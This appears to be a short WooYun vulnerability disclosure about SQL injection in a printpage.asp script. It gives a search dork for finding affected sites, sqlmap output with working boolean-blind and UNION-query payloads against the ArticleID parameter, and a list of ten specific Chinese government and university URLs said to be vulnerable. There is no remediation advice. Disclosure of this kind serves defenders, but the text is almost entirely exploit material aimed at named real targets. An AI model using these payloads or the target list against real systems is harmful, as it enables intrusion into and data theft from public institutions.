WooYun.org

baidu inurl:/printpage.asp?ArticleID

GET parameter 'ArticleID' is vulnerable. Do you want to keep testing the others (if any)? 
[y/N] 
sqlmap identified the following injection points with a total of 47 HTTP(s) requests:
---
Place: GET
Parameter: ArticleID
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ArticleID=2517 AND 7499=7499
    Type: UNION query
    Title: Generic UNION query (NULL) - 28 columns
    Payload: ArticleID=-2851 UNION ALL SELECT 
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHR(113)&CHR(97)&CHR(118)
&CHR(119)&CHR(113)&CHR(76)&CHR(97)&CHR(76)&CHR(98)&CHR(106)&CHR(122)&CHR(73)&CHR(68)&CHR(72)
&CHR(119)&CHR(113)&CHR(105)&CHR(111)&CHR(98)&CHR
(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM 
MSysAccessObjects%16
---

http://jiaojing.zkga.gov.cn/wscgs/printpage.asp?ArticleID=2517 周口市公安交警信息网
http://www.rzqzgz.gov.cn/printpage.asp?ArticleID=242 日照市委市政府信访局
http://xxjsq.qzkc.gov.cn/printpage.asp?id=60317&ArticleID=571 衢州柯城区府山街道县学街社区 
http://www.gzmzw.gov.cn/printpage.asp?ArticleID=1286 赣州民政网
http://www.qxldj.gov.cn/printpage.asp?ArticleID=1122 迁西县人力资源和社会保障局
http://www.yichang.jcy.gov.cn/printpage.asp?ArticleID=888 宜昌市人民检察院
http://www.dag.zjut.edu.cn/Article/printpage.asp?ArticleID=29 浙江工业大学档案馆
http://lib.hbu.edu.cn/web2/printpage.asp?ArticleID=291 河北大学图书馆
http://pth.njfu.edu.cn/printpage.asp?ArticleID=188 南京林业大学语言文字网
http://www.lit.edu.cn/news/printpage.asp?ArticleID=8321 洛阳理工学院
......